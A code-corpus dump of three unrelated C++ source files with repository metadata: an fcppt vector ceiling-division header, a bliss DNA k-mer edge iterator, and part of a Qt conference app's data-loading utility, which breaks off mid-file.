cf94e7e7f6a5aa06a4c6a7230f8e8a546b0206a4

607829232b9ec8d6733fb67be85e8555d19e1ee0

/libs/core/include/fcppt/math/vector/ceil_div_signed.hpp

6ebdffb5f1f010dcdee214d5164fac81c3a66cd8

permissive

cnsuhao/fcppt

3b917196d5faf477d769b8f04e0001361a857776

104c035118a04011c5fd9574cc78b2889550ea65

refs/heads/master

UTF-8

C++

hpp

// Copyright Carl Philipp Reh 2009 - 2016. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef FCPPT_MATH_VECTOR_CEIL_DIV_SIGNED_HPP_INCLUDED #define FCPPT_MATH_VECTOR_CEIL_DIV_SIGNED_HPP_INCLUDED #include <fcppt/math/ceil_div_signed.hpp> #include <fcppt/math/map.hpp> #include <fcppt/math/size_type.hpp> #include <fcppt/math/vector/object_impl.hpp> #include <fcppt/math/vector/static.hpp> #include <fcppt/config/external_begin.hpp> #include <type_traits> #include <fcppt/config/external_end.hpp> namespace fcppt { namespace math { namespace vector { /** \brief Division rounded up for signed vectors \ingroup fcpptmathvector */ template< typename T, fcppt::math::size_type N, typename S > fcppt::math::vector::static_< T, N > ceil_div_signed( fcppt::math::vector::object< T, N, S > const _vector, T const _factor ) { static_assert( std::is_signed< T >::value, "T must be signed" ); return fcppt::math::map< fcppt::math::vector::static_< T, N > >( _vector, [ _factor ]( T const _value ) { return fcppt::math::ceil_div_signed( _value, _factor ); } ); } } } } #endif

334f0712fc8566ea028524f0cd56702b83f8dbd4

9b273539e02cca8d408e8cf793007ee84e6637d5

/ext/bliss/src/iterators/edge_iterator.hpp

2217a705bef1dc4b94ba3493a6facab66fe6ad3e

permissive

tuan1225/parconnect_sc16

23b82c956eed4dabe5deec8bd48cc8ead91af615

bcd6f99101685d746cf30e22fa3c3f63ddd950c9

refs/heads/master

UTF-8

C++

hpp

/* * edge_iterator.hpp * * Created on: Aug 4, 2015 * Author: yongchao */ #ifndef EDGE_ITERATOR_HPP_ #define EDGE_ITERATOR_HPP_ #include <iterator> #include "common/alphabets.hpp" namespace bliss { namespace iterator { // careful with the use of enable_if. evaluation should occur at function call time, // i.e. class template params will be evaluated with no substitution. // instead, a function should declare a template parameter proxy for the class template parameter. // then enable_if evaluates using the proxy. // e.g. template< class c = C; typename std::enable_if<std::is_same<c, std::string>::value, int>::type x = 0> /** * @class edge_iterator * @brief given a k-mer position, retrieve its left and right bases, including the dummy bases at both ends * @details specializations of this class uses a byte to manage the edge info. * upper 4 bits holds the left base (encoded), lower 4 bits holds the right base (encoded) * * no reverse complement or reordering is applied. * * edge iterator should be valid for std::distance(_data_end - _data_start - k + 1) iterations. */ template<typename IT, typename ALPHA = bliss::common::DNA16> class edge_iterator : public ::std::iterator<::std::forward_iterator_tag, uint8_t> { protected: // curr position IT _curr; //previous position IT _left; //a position of distance k from the _curr on the right IT _right; /*data*/ const IT _data_start; const IT _data_end; public: typedef ALPHA Alphabet; typedef edge_iterator<IT, ALPHA> self_type; /*define edge iterator type*/ typedef uint8_t edge_type; //type to represent an edge // accessors IT& getBase() { return _curr; } //constructor edge_iterator(IT data_start, IT data_end, const uint32_t k) : _curr (data_start), _left(data_end), _right(data_start), _data_start(data_start), _data_end(data_end) { /*compute the offset*/ ::std::advance(_curr, k - 1); _right = _curr; ::std::advance(_right, 1); } edge_iterator(IT data_end) : _curr(data_end), _left(data_end), _right(data_end), _data_start(data_end), _data_end(data_end) { } /// copy constructor edge_iterator(const self_type& Other) : _curr (Other._curr), _left(Other._left), _right(Other._right), _data_start(Other._data_start), _data_end(Other._data_end) { /*do nothing*/ } /// copy assignment iterator self_type& operator=(const self_type& Other) { _curr = Other._curr; _left = Other._left; _right = Other._right; _data_start = Other._data_start; _data_end = Other._data_end; return *this; } /// increment to next matching element in base iterator self_type& operator++() { // if _curr at end, subsequent calls should not move _curr. // on call, if not at end, need to move first then evaluate. if (_curr == _data_end){ // if at end, don't move it. return *this; } /*save the previous position*/ if (_left == _data_end) _left = _data_start; else ++_left; /*move forward by 1*/ ++_curr; /*ensure that _right does not exceed _end*/ if(_right != _data_end){ ++_right; } return *this; } /** * post increment. make a copy then increment that. */ self_type operator++(int) { self_type output(*this); this->operator++(); return output; } /// compare 2 filter iterators inline bool operator==(const self_type& rhs) { return _curr == rhs._curr; } /// compare 2 filter iterators inline bool operator!=(const self_type& rhs) { return _curr != rhs._curr; } /// dereference operator. _curr is guaranteed to be valid inline edge_type operator*() { /*using four bits to represent an edge*/ if(_left != _data_end && _right != _data_end){ /*internal k-mer node*/ return (ALPHA::FROM_ASCII[*_left] << 4) | ALPHA::FROM_ASCII[*_right]; }else if(_left == _data_end && _right != _data_end){ /*the left-most k-mer node*/ return ALPHA::FROM_ASCII[*_right]; }else if(_left != _data_end && _right == _data_end){ /*the rigth-most k-mer node*/ return ALPHA::FROM_ASCII[*_left] << 4; } /*if(_left == _end && _right == _end)*/ return 0; } }; template<typename IT> using DNA16_edge_iterator = edge_iterator<IT, bliss::common::DNA16>; template<typename IT> using DNA_IUPAC_edge_iterator = edge_iterator<IT, bliss::common::DNA_IUPAC>; // not suitable for edge iterator since there is no value for unknown char. template<typename IT> using DNA_edge_iterator = edge_iterator<IT, bliss::common::DNA>; template<typename IT> using DNA5_edge_iterator = edge_iterator<IT, bliss::common::DNA5>; // not suitable for edge iterator since there is no value for unknown char. template<typename IT> using RNA_edge_iterator = edge_iterator<IT, bliss::common::RNA>; template<typename IT> using RNA5_edge_iterator = edge_iterator<IT, bliss::common::RNA5>; /*EdgeType = short unsigned int*/ template<typename IT> class edge_iterator<IT, bliss::common::ASCII>: public ::std::iterator<::std::forward_iterator_tag, uint16_t> { protected: // curr position IT _curr; //previous position IT _left; //a position of distance k from the _curr on the right IT _right; /*data*/ const IT _data_start; const IT _data_end; public: typedef bliss::common::ASCII Alphabet; typedef edge_iterator<IT, bliss::common::ASCII> self_type; /*define edge iterator type*/ typedef uint16_t edge_type; //type to represent an edge // accessors IT& getBase() { return _curr; } //constructor edge_iterator(IT data_start, IT data_end, const uint32_t k) : _curr (data_start), _left(data_end), _right(data_start), _data_start(data_start), _data_end(data_end) { /*compute the offset*/ ::std::advance(_curr, k-1); _right = _curr; ::std::advance(_right, 1); } edge_iterator(IT data_end) : _curr(data_end), _left(data_end), _right(data_end), _data_start(data_end), _data_end(data_end) { } /// copy constructor edge_iterator(const self_type& Other) : _curr (Other._curr), _left(Other._left), _right(Other._right), _data_start(Other._data_start), _data_end(Other._data_end) { /*do nothing*/ } /// copy assignment iterator self_type& operator=(const self_type& Other) { _curr = Other._curr; _left = Other._left; _right = Other._right; _data_start = Other._data_start; _data_end = Other._data_end; return *this; } /// increment to next matching element in base iterator self_type& operator++() { // if _curr at end, subsequent calls should not move _curr. // on call, if not at end, need to move first then evaluate. if (_curr == _data_end){ // if at end, don'IT move it. return *this; } /*save the previous position*/ if (_left == _data_end) _left = _data_start; else ++_left; /*move forward by 1*/ ++_curr; /*ensure that _right does not exceed _end*/ if(_right != _data_end){ ++_right; } return *this; } /** * post increment. make a copy then increment that. */ self_type operator++(int) { self_type output(*this); this->operator++(); return output; } /// compare 2 filter iterators inline bool operator==(const self_type& rhs) { return _curr == rhs._curr; } /// compare 2 filter iterators inline bool operator!=(const self_type& rhs) { return _curr != rhs._curr; } /// dereference operator. _curr is guaranteed to be valid inline edge_type operator*() { /*using 8 bits to represent an edge*/ if(_left != _data_end && _right != _data_end){ /*internal k-mer node*/ return (*_left << 8) | *_right; }else if(_left == _data_end && _right != _data_end){ /*the left-most k-mer node*/ return *_right & 0x0ff; }else if(_left != _data_end && _right == _data_end){ /*the rigth-most k-mer node*/ return *_left << 8; } /*if(_left == _end && _right == _end)*/ return 0; } }; template<typename IT> using raw_edge_iterator = edge_iterator<IT, bliss::common::ASCII>; } // iterator } // bliss #endif /* EDGE_ITERATOR_HPP_ */

125d9dfb6a31d7b8178cff53df30313fe499c04f

7749a4165ee0dbc239aa2d6415087d3bf8356819

/cpp/datautil.cpp

9f2efed3beffa1587636dd9f57d23743e072f2f8

permissive

csavur/c2gQtCon_x

e792dac2fdc92b64245527d5032fe5dc3b1b17a4

510019256f9243e7ebeafefbf58285ce71d24c9f

refs/heads/master

UTF-8

C++

cpp

#include "datautil.hpp" #include <QDebug> #include <QJsonDocument> #include <QJsonObject> #include <QFile> #include <QDir> #include <QImage> const QString YYYY_MM_DD = "yyyy-MM-dd"; const QString HH_MM = "HH:mm"; const QString LOCAL_HH_MM = "hh:mm"; const QString YYYY_MM_DD_HH_MM = "yyyy-MM-ddHH:mm"; const QString DAYNAME = "dddd"; const QString DAYNAME_HH_MM = "dddd, HH:mm"; const QString DEFAULT_SPEAKER_IMAGE_URL = "http://conf.qtcon.org/person_original.png"; const QString EMPTY_TRACK = "*****"; DataUtil::DataUtil(QObject *parent) : QObject(parent) { } void DataUtil::init(DataManager* dataManager, DataServer* dataServer) { mDataManager = dataManager; mDataServer = dataServer; mConferenceDataPath = mDataManager->mDataPath + "conference/"; mDataServer->setConferenceDataPath(mConferenceDataPath); // used for temp dynamic lists as QQmlPropertyLists mSessionLists = mDataManager->createSessionLists(); // connections bool res = connect(mDataServer, SIGNAL(serverSuccess()), this, SLOT(onServerSuccess())); if (!res) { Q_ASSERT(res); } res = connect(mDataServer, SIGNAL(serverFailed(QString)), this, SLOT(onServerFailed(QString))); if (!res) { Q_ASSERT(res); } res = connect(mDataServer, SIGNAL(versionSuccess(QByteArray)), this, SLOT(onVersionSuccess(QByteArray))); if (!res) { Q_ASSERT(res); } res = connect(mDataServer, SIGNAL(versionFailed(QString)), this, SLOT(onVersionFailed(QString))); if (!res) { Q_ASSERT(res); } } QString DataUtil::conferenceDataPath4QML() { return "file://"+mConferenceDataPath; } bool DataUtil::isDateTooLate() { QString todayDate = QDate::currentDate().toString(YYYY_MM_DD); if(mDataManager->mAllDay.empty()) return false; QString lastConferenceDay = ((Day*) mDataManager->mAllDay.last())->conferenceDay().toString(YYYY_MM_DD); qDebug() << "todayDate" << todayDate << "lastConferenceDay" << lastConferenceDay; return todayDate > lastConferenceDay; } /** * @brief DataUtil::sessionInfoForSpeaker * @param speaker * @return all Session Title line by line */ QString DataUtil::sessionInfoForSpeaker(Speaker *speaker) { QString info; if(!speaker) { return info; } for (int i = 0; i < speaker->sessions().size(); ++i) { if(i > 0) { info.append("\n"); } info.append(speaker->sessions().at(i)->title()); } return info; } QString DataUtil::speakerNamesForSession(Session *session) { QString info; if(!session) { return info; } for (int i = 0; i < session->presenter().size(); ++i) { QString name = session->presenter().at(i)->name(); if(name.length()) { if(info.length()) { info.append(", "); } info.append(name); } } return info; } QString DataUtil::scheduleItemImageForSession(Session *session) { if(!session || !session->hasScheduleItem()) { return ""; } if(session->scheduleItemAsDataObject()->isRegistration()) { return "key.png"; } if(session->scheduleItemAsDataObject()->isLunch()) { return "lunch.png"; } if(session->scheduleItemAsDataObject()->isEvent()) { return "party_event.png"; } return "break.png"; } QString DataUtil::letterForButton(Session *session) { if(!session) { return "S"; } if(session->isTraining()) { return "T"; } if(session->isLightning()) { return "L"; } if (session->isKeynote()) { return "K"; } if(session->isCommunity()) { return "C"; } if(session->isMeeting()) { return "M"; } if(session->isUnconference()) { return "U"; } return "S"; } QString DataUtil::textForSessionTrack(Session *session) { if(!session || !session->hasSessionTrack()) { return ""; } QString name = session->sessionTrackAsDataObject()->name(); // if(name == "Community") { // return ""; // } if(name == "*****") { return ""; } if(name == "Unconference") { return ""; } return name; } QString DataUtil::textForSessionType(Session *session) { if(!session) { return ""; } QString info = " (" + QString::number(session->minutes()) + tr(" Minutes)"); if(session->hasScheduleItem()) { if(session->scheduleItemAsDataObject()->isRegistration()) { return tr("Registration")+info; } if(session->scheduleItemAsDataObject()->isEvent()) { return tr("Event")+info; } if(session->scheduleItemAsDataObject()->isLunch()) { return tr("Lunch")+info; } return tr("Break")+info; } if(session->isTraining()) { return tr("Training")+info; } if(session->isLightning()) { return tr("Lightning Talk")+info; } if(session->isKeynote()) { return tr("Keynote")+info; } if(session->isCommunity()) { return tr("Community")+info; } if(session->isUnconference()) { return tr("Unconference")+info; } if(session->isMeeting()) { return tr("Meeting")+info; } return tr("Session")+info; } QString DataUtil::trackColor(const int trackId) { switch (trackId) { case 3: // ***** return "transparent"; case 27: // 3D return "#FFCDD2"; case 28: // Automotive, Mobile and Embedded return "#F06292"; case 29: // Best practices return "#BA68C8"; case 30: // Beyond Code return "#D1C4E9"; case 31: // Break "#FFFFFF" return "grey"; case 32: // Codecs return "#E8EAF6"; case 33: // Community return "#B3E5FC"; case 34: // Distributing Software and Resources return "#64B5F6"; case 35: // Free Software policies and politics return "#4DD0E1"; case 36: // Geolocation return "#CDDC39"; case 37: // In depth return "#26A69A"; case 38: // KDE‘s Latest and Greatest return "#2196F3"; case 39: // Let‘s talk business return "#FFEB3B"; case 40: // Let‘s talk software return "#FFC107"; case 41: // Misc return "#FF9890"; case 42: // Multithreading return "#FF7043"; case 43: // OpenGL and 3D return "#E53935"; case 44: // Platforms and Integration return "#BCAAA4"; case 45: // Qt in Use return "#4CAF50"; case 46: // QtQuick return "#8BC34A"; case 47: // Technical Discussions return "#8D6E63"; case 48: // Testing and Continuous Integration return "#E0E0E0"; case 49: // Tooling return "#90A4AE"; case 50: // Web return "#607D8B"; default: // transparent return "transparent"; } } // if update failed Data in memory is inconsistent // delete all, then do init again void DataUtil::reloadData() { // delete all to avoid orphans mProgressInfotext.append(tr(" Rollback")); emit progressInfo(mProgressInfotext); // DO IT // reload mProgressInfotext.append(tr(" Reload")); emit progressInfo(mProgressInfotext); // DO IT mDataManager->init(); } // creates missing dirs if preparing conference (pre-conf-stuff) // or checking for schedule updates bool DataUtil::checkDirs() { // data/conference QString directory = mDataManager->mDataPath + "conference/"; QDir myDir; bool exists; exists = myDir.exists(directory); if (!exists) { bool ok = myDir.mkpath(directory); if(!ok) { qWarning() << "Couldn't create conference dir " << directory; return false; } qDebug() << "created directory conference " << directory; } // data/conference/speakerImages directory.append("speakerImages/"); exists = myDir.exists(directory); if (!exists) { bool ok = myDir.mkpath(directory); if(!ok) { qWarning() << "Couldn't create speakerImages dir " << directory; return false; } qDebug() << "created directory speakerImages " << directory; } return true; } // P R E C O N F E R E N C E S T U F F /** * Prepare will be done before submitting the App to AppStore * Use public Cache * Best practice: * 1. remove app from dev device * 2. start app, switch to public cache * 3. restart app * If all done send files from Phone to PC/Mac * Copy them into data-assets /prod or /test * Test again after deleting app from dev device * Now Users will get this directly by installing the app * and updates are fast */ void DataUtil::prepareConference() { // must use public cache if(!mDataManager->settingsData()->hasPublicCache()) { qWarning() << "Preparation must be done from public cache"; return; } qDebug() << "PREPARE CONFERENCE "; // check dirs for pre-conference stuff bool dirsOk = checkDirs(); if(!dirsOk) { qWarning() << "cannot create directories"; return; } // create some data for this specific conference prepareEventData(); // prepare speaker prepareSpeaker(); // prepare sessions // speaker must exist because sessions will be added to prepareSessions(); // download speaker images prepareSpeakerImages(); // now cache all the data // if ok - copied to qrc: data-assets qDebug() << "cache DATA"; mDataManager->saveConferenceToCache(); mDataManager->saveDayToCache(); mDataManager->saveBuildingToCache(); mDataManager->saveFloorToCache(); mDataManager->saveRoomToCache(); mDataManager->saveSessionToCache(); // sort Tracks QMultiMap<QString, SessionTrack*> sessionTrackSortMap; for (int i = 0; i < mDataManager->allSessionTrack().size(); ++i) { SessionTrack* sessionTrack = (SessionTrack*) mDataManager->allSessionTrack().at(i); sessionTrackSortMap.insert(sessionTrack->name(), sessionTrack); } mDataManager->mAllSessionTrack.clear(); QMapIterator<QString, SessionTrack*> sessionTrackIterator(sessionTrackSortMap); while (sessionTrackIterator.hasNext()) { sessionTrackIterator.next(); SessionTrack* sessionTrack = sessionTrackIterator.value(); mDataManager->insertSessionTrack(sessionTrack); } mDataManager->saveSessionTrackToCache(); mDataManager->saveScheduleItemToCache(); mDataManager->saveSessionLinkToCache(); mDataManager->saveSpeakerToCache(); // set API Version mDataManager->mSettingsData->setApiVersion(mNewApi); qDebug() << "PREPARE D O N E - WAIT FOR IMAGES"; } // conference, days, building-floor-rooms void DataUtil::prepareEventData() { qDebug() << "PREPARE EVENT "; // CONFERENCE mDataManager->deleteConference(); mDataManager->deleteDay(); mDataManager->deleteSession(); mDataManager->deleteScheduleItem(); mDataManager->deleteSessionLink(); mDataManager->deleteSpeaker(); mDataManager->deleteSpeakerImage(); // Conference* conference = mDataManager->createConference(); int lastNr = 0; for (int i = 0; i < mDataManager->allBuilding().size(); ++i) { Building* building = (Building*) mDataManager->allBuilding().at(i); if(building->buildingId() > lastNr) { lastNr = building->buildingId(); } } conference->setLastBuildingId(lastNr); lastNr = 0; for (int i = 0; i < mDataManager->allFloor().size(); ++i) { Floor* floor = (Floor*) mDataManager->allFloor().at(i); if(floor->floorId() > lastNr) { lastNr = floor->floorId(); } } conference->setLastFloorId(lastNr); lastNr = 0; for (int i = 0; i < mDataManager->allRoom().size(); ++i) { Room* room = (Room*) mDataManager->allRoom().at(i); if(room->roomId() > lastNr) { lastNr = room->roomId(); } room->clearSessions(); } conference->setLastRoomId(lastNr); lastNr = 0; for (int i = 0; i < mDataManager->allSessionTrack().size(); ++i) { SessionTrack* track = (SessionTrack*) mDataManager->allSessionTrack().at(i); if(track->trackId() > lastNr) { lastNr = track->trackId(); } track->clearSessions(); } conference->setLastSessionTrackId(lastNr); conference->setConferenceName("SoSE 2017"); conference->setConferenceCity("Hawaii"); QString venueAddress; venueAddress = "Waikoloa Hilton Village, Hawaii"; venueAddress.append("\n"); venueAddress.append("Waikoloa Beach Drive"); // venueAddress.append("\n"); // venueAddress.append("Alexanderstr. 11"); venueAddress.append("\n"); venueAddress.append("96738 Hawaii"); venueAddress.append("\n"); venueAddress.append("USA"); conference->setAddress(venueAddress); conference->setTimeZoneName("Hawaii-Aleutian"); conference->setTimeZoneOffsetSeconds(1 * 60 * 60); // +01:00 GMT conference->setConferenceFrom(QDate::fromString("2017-06-18", YYYY_MM_DD)); conference->setConferenceTo(QDate::fromString("2017-06-21", YYYY_MM_DD)); conference->setHashTag("#SoSE2017"); conference->setHomePage("http://sosengineering.org/"); QString coordinate; coordinate = QString::number(52.520778)+";"+QString::number(13.416515); // conference->coordinate()->setLatitude(52.520778); // conference->coordinate()->setLongitude(13.416515); conference->setCoordinate(coordinate); mDataManager->insertConference(conference); // DAYS // Days dayOfWeek 1=monday, 7 = sunday // thursday Day* day = mDataManager->createDay(); day->setId(1); day->setWeekDay(4); day->setConferenceDay(QDate::fromString("2017-06-18", YYYY_MM_DD)); conference->addToDays(day); mDataManager->insertDay(day); // friday day = mDataManager->createDay(); day->setId(2); day->setWeekDay(5); day->setConferenceDay(QDate::fromString("2017-06-19", YYYY_MM_DD)); conference->addToDays(day); mDataManager->insertDay(day); // saturday day = mDataManager->createDay(); day->setId(3); day->setWeekDay(6); day->setConferenceDay(QDate::fromString("2017-06-20", YYYY_MM_DD)); conference->addToDays(day); mDataManager->insertDay(day); // sunday day = mDataManager->createDay(); day->setId(4); day->setWeekDay(1); day->setConferenceDay(QDate::fromString("2017-06-21", YYYY_MM_DD)); conference->addToDays(day); mDataManager->insertDay(day); // BUILDING // Building and FLOORS already created // ROOMS created, but delete current sessions yet qDebug() << "ROOMS: #" << mDataManager->allRoom().size(); for (int r = 0; r < mDataManager->allRoom().size(); ++r) { Room* room = (Room*) mDataManager->allRoom().at(r); room->clearSessions(); } // } QVariantMap DataUtil::readScheduleFile(const QString schedulePath) { QVariantMap map; QFile readFile(schedulePath); if(!readFile.exists()) { qWarning() << "Schedule Path not found " << schedulePath; return map; } if (!readFile.open(QIODevice::ReadOnly)) { qWarning() << "Couldn't open file: " << schedulePath; return map; } QJsonDocument jda = QJsonDocument::fromJson(readFile.readAll()); readFile.close(); if(!jda.isObject()) { qWarning() << "Couldn't create JSON from file: " << schedulePath; return map; } qDebug() << "QJsonDocument for schedule with Object :)"; map = jda.toVariant().toMap(); return map; } Day* DataUtil::findDayForServerDate(const QString& dayDate) { Day* day = nullptr; bool found = false; for (int dl = 0; dl < mDataManager->mAllDay.size(); ++dl) { day = (Day*) mDataManager->mAllDay.at(dl); if( day->conferenceDay().toString(YYYY_MM_DD) == dayDate) { found = true; break; } } if(found) { qDebug() << "Day found"; return day; } qDebug() << "Day not found"; return 0; } void DataUtil::adjustPersons(QVariantMap& sessionMap) { QStringList personKeys; QVariantList personsList; personsList = sessionMap.value("persons").toList(); if (personsList.size() > 0) { for (int pvl = 0; pvl < personsList.size(); ++pvl) { QVariantMap map = personsList.at(pvl).toMap(); if(map.contains("id")) { personKeys.append(map.value("id").toString()); } } sessionMap.insert("persons", personKeys); } } void DataUtil::createAndAdjustLinks(QVariantMap& sessionMap) { QStringList linkKeys; QVariantList linksList; linksList = sessionMap.value("links").toList(); if (linksList.size() > 0) { for (int lvl = 0; lvl < linksList.size(); ++lvl) { QVariantMap map = linksList.at(lvl).toMap(); if(map.contains("url")) { SessionLink* sessionLink = mDataManager->createSessionLink(); sessionLink->setUrl(map.value("url").toString()); sessionLink->setTitle(map.value("title").toString()); mDataManager->insertSessionLink(sessionLink); linkKeys.append(sessionLink->uuid()); } } sessionMap.insert("links", linkKeys); } } bool DataUtil::checkIfIgnored(SessionAPI* sessionAPI) { QString room = "Kohala Promenade"; qDebug() << "room " << sessionAPI->room(); if(sessionAPI->title() == "Registration and Coffee" && sessionAPI->room() != room) { qDebug() << "unwanted session: " << sessionAPI->sessionId() << " " << sessionAPI->title() << " " << sessionAPI->room(); return true; } if(sessionAPI->title() == "Lunch" && sessionAPI->room() != room) { qDebug() << "unwanted session: " << sessionAPI->sessionId() << " " << sessionAPI->title() << " " << sessionAPI->room(); return true; } if(sessionAPI->title() == "Coffee break" && sessionAPI->room() != room) { qDebug() << "unwanted session: " << sessionAPI->sessionId() << " " << sessionAPI->title() << " " << sessionAPI->room(); return true; } if(sessionAPI->title() == "Evening event" && sessionAPI->room() != room) { qDebug() << "unwanted session: " << sessionAPI->sessionId() << " " << sessionAPI->title() << " " << sessionAPI->room(); return true; } if(sessionAPI->title() == "Welcome" && sessionAPI->room() != room) { qDebug() << "unwanted session: " << sessionAPI->sessionId() << " " << sessionAPI->title() << " " << sessionAPI->room(); return true; } return false; } void DataUtil::setDuration(SessionAPI* sessionAPI, Session* session) { QStringList duration; duration = sessionAPI->duration().split(":"); int minutes = 0; if(duration.length() == 2) { minutes = duration.last().toInt(); minutes += duration.first().toInt()*60; } else { qWarning() << "Duration wrong: " << sessionAPI->duration() << " session ID: " << sessionAPI->sessionId(); } session->setMinutes(minutes); session->setEndTime(session->startTime().addSecs(minutes * 60)); } void DataUtil::setTrackAndType(SessionAPI* sessionAPI, Session* session, Conference* conference, const bool isUpdate) { SessionTrack* sessionTrack = nullptr; bool found = false; QString trackName; trackName = sessionAPI->track(); if(trackName.isEmpty()) { trackName = EMPTY_TRACK; } for (int tr = 0; tr < mDataManager->mAllSessionTrack.size(); ++tr) { sessionTrack = (SessionTrack*) mDataManager->mAllSessionTrack.at(tr); if(sessionTrack->name() == trackName) { found = true; break; } } if(!found) { sessionTrack = mDataManager->createSessionTrack(); conference->setLastSessionTrackId(conference->lastSessionTrackId()+1); sessionTrack->setTrackId(conference->lastSessionTrackId()); sessionTrack->setName(trackName); sessionTrack->setInAssets(isUpdate?false:true); mDataManager->insertSessionTrack(sessionTrack); } if (sessionTrack) { session->setSessionTrack(sessionTrack->trackId()); session->resolveSessionTrackAsDataObject(sessionTrack); } // SCHEDULE or what else // setting some boolean here makes it easier to distinguish in UI if (trackName == "Break" || (trackName == "Misc" && session->title().contains("Registration"))) { ScheduleItem* scheduleItem; if(isUpdate && session->hasScheduleItem()) { scheduleItem = session->scheduleItemAsDataObject(); } else { scheduleItem = mDataManager->createScheduleItem(); scheduleItem->setSessionId(session->sessionId()); session->setScheduleItem(scheduleItem->sessionId()); session->resolveScheduleItemAsDataObject(scheduleItem); scheduleItem->setSession(session->sessionId()); mDataManager->insertScheduleItem(scheduleItem); } if(session->title().contains("Evening event") || session->title().contains("SHOW EUROPE")) { scheduleItem->setIsEvent(true); } else { if(session->title().contains("Registration")) { scheduleItem->setIsRegistration(true); } else { if(session->title().contains("Lunch")) { scheduleItem->setIsLunch(true); } else { scheduleItem->setIsBreak(true); } } } } else { if(isUpdate && session->hasScheduleItem()) { // Session type changed, so remove any old schedule items mDataManager->deleteScheduleItemBySessionId(session->sessionId()); } if(session->title().contains("Lightning") || session->sessionType().contains("lightning_talk")) { session->setIsLightning(true); } else { if(session->title().contains("Keynote")) { session->setIsKeynote(true); } else { if(trackName == "Community") { session->setIsCommunity(true); } else { if(session->sessionDayAsDataObject()->conferenceDay().toString(YYYY_MM_DD) == "2017-06-18" && session->title().contains("Training")) { session->setIsTraining(true); } else { if(session->sessionType() == "meeting") { session->setIsMeeting(true); } else { if(session->title().contains("Unconference")) { session->setIsUnconference(true); } else { session->setIsSession(true); } } } } } } } } void DataUtil::prepareSessions() { const QString schedulePath = mDataManager->mDataAssetsPath + "conference/schedule.json"; qDebug() << "PREPARE SESSIONS "; QVariantMap map; map = readScheduleFile(schedulePath); if(map.isEmpty()) { qWarning() << "Schedule is no Map"; return; } map = map.value("schedule").toMap(); if(map.isEmpty()) { qWarning() << "No 'schedule' found"; return; } mNewApi = map.value("version").toString(); qDebug() << "VERSION: " + mNewApi; map = map.value("conference").toMap(); if(map.isEmpty()) { qWarning() << "No 'conference' found"; return; } qDebug() << "TITLE: " << map.value("title").toString(); Conference* conference; conference = (Conference*) mDataManager->allConference().first(); QVariantList dayList; dayList = map.value("days").toList(); if(dayList.isEmpty()) { qWarning() << "No 'days' found"; return; } mMultiSession.clear(); qDebug() << "DAYS: " << dayList.size(); for (int i = 0; i < dayList.size(); ++i) { QVariantMap dayMap; dayMap = dayList.at(i).toMap(); if(dayMap.isEmpty()) { qWarning() << "No 'DAY' found #" << i; continue; } QString dayDate; dayDate = dayMap.value("date").toString(); qDebug() << "processing DATE: " << dayDate; Day* day = findDayForServerDate(dayDate); if(!day) { qWarning() << "No Day* found for " << dayDate; continue; } bool found = false; QVariantMap roomMap; roomMap = dayMap.value("rooms").toMap(); QStringList roomKeys = roomMap.keys(); if(roomKeys.isEmpty()) { qWarning() << "No 'ROOMS' found for DAY # i"; continue; } for (int r = 0; r < roomKeys.size(); ++r) { QVariantList sessionList; sessionList = roomMap.value(roomKeys.at(r)).toList(); if(sessionList.isEmpty()) { qWarning() << "DAY: " << dayDate << " ROOM: " << roomKeys.at(r) << " ignored - No Sessions available"; continue; } Room* room = nullptr; found = false; for (int rl = 0; rl < mDataManager->mAllRoom.size(); ++rl) { room = (Room*) mDataManager->mAllRoom.at(rl); if(room->roomName() == roomKeys.at(r)) { found = true; break; } } if(!found) { qWarning() << "Room* not found for " << dayDate << " Room: " << roomKeys.at(r); // TODO add new Room continue; } for (int sl = 0; sl < sessionList.size(); ++sl) { QVariantMap sessionMap; sessionMap = sessionList.at(sl).toMap(); if(sessionMap.isEmpty()) { qWarning() << "No 'SESSION' Map DAY: " << dayDate << " ROOM: " << roomKeys.at(r); continue; } // adjust persons adjustPersons(sessionMap); // create and adjust links createAndAdjustLinks(sessionMap); SessionAPI* sessionAPI = mDataManager->createSessionAPI(); sessionAPI->fillFromForeignMap(sessionMap); // ignore unwanted Sessions if (checkIfIgnored(sessionAPI)) { continue; } Session* session = mDataManager->createSession(); session->fillFromMap(sessionAPI->toMap()); setDuration(sessionAPI, session); // refs // DAY session->setSessionDay(day->id()); // ROOM session->setRoom(room->roomId()); // TRACK TYPE SCHEDULE setTrackAndType(sessionAPI, session, conference, false); // SORT session->setSortKey(day->conferenceDay().toString(YYYY_MM_DD)+session->startTime().toString(HH_MM)); mMultiSession.insert(session->sortKey(), session); } // end for session of a room } // room keys } // for days list // insert sorted Sessions sortedSessionsIntoRoomDayTrackSpeaker(); } // sessions must be cleared before for Day Track, Room, Speaker // always if prepare Conference, explicitely if Update Schedule void DataUtil::sortedSessionsIntoRoomDayTrackSpeaker() { QMapIterator<QString, Session*> sessionIterator(mMultiSession); while (sessionIterator.hasNext()) { sessionIterator.next(); Session* session = sessionIterator.value(); mDataManager->insertSession(session); Room* room = mDataManager->findRoomByRoomId(session->room()); if(room != NULL) { room->addToSessions(session); } else { qWarning() << "ROOM is NULL for Session " << session->sessionId() << " #:" << session->room(); } Day* day = mDataManager->findDayById(session->sessionDay()); if(day != NULL) { day->addToSessions(session); } else { qWarning() << "DAY is NULL for Session " << session->sessionId() << " #:" << session->sessionDay(); } SessionTrack* sessionTrack = mDataManager->findSessionTrackByTrackId(session->sessionTrack()); if(sessionTrack != NULL) { sessionTrack->addToSessions(session); } else { qWarning() << "TRACK is NULL for Session " << session->sessionId() << " #:" << session->sessionTrack(); } for (int i = 0; i < session->presenterKeys().size(); ++i) { int pKey = session->presenterKeys().at(i).toInt(); Speaker* speaker = (Speaker*) mDataManager->findSpeakerBySpeakerId(pKey); if(speaker != NULL) { speaker->addToSessions(session); } else { qWarning() << "SPEAKER is NULL for Session " << session->sessionId() << " #:" << pKey; } } // for presenter } // while all sessions } QVariantList DataUtil::readSpeakerFile(const QString speakerPath) { QVariantList dataList; QFile readFile(speakerPath); if(!readFile.exists()) { qWarning() << "Speaker Path not found " << speakerPath; return dataList; } if (!readFile.open(QIODevice::ReadOnly)) { qWarning() << "Couldn't open file: " << speakerPath; return dataList; } QJsonDocument jda = QJsonDocument::fromJson(readFile.readAll()); readFile.close(); if(!jda.isArray()) { qWarning() << "Couldn't create JSON from file: " << speakerPath; return dataList; } qDebug() << "QJsonDocument for speaker with Array :)"; dataList = jda.toVariant().toList(); return dataList; } void 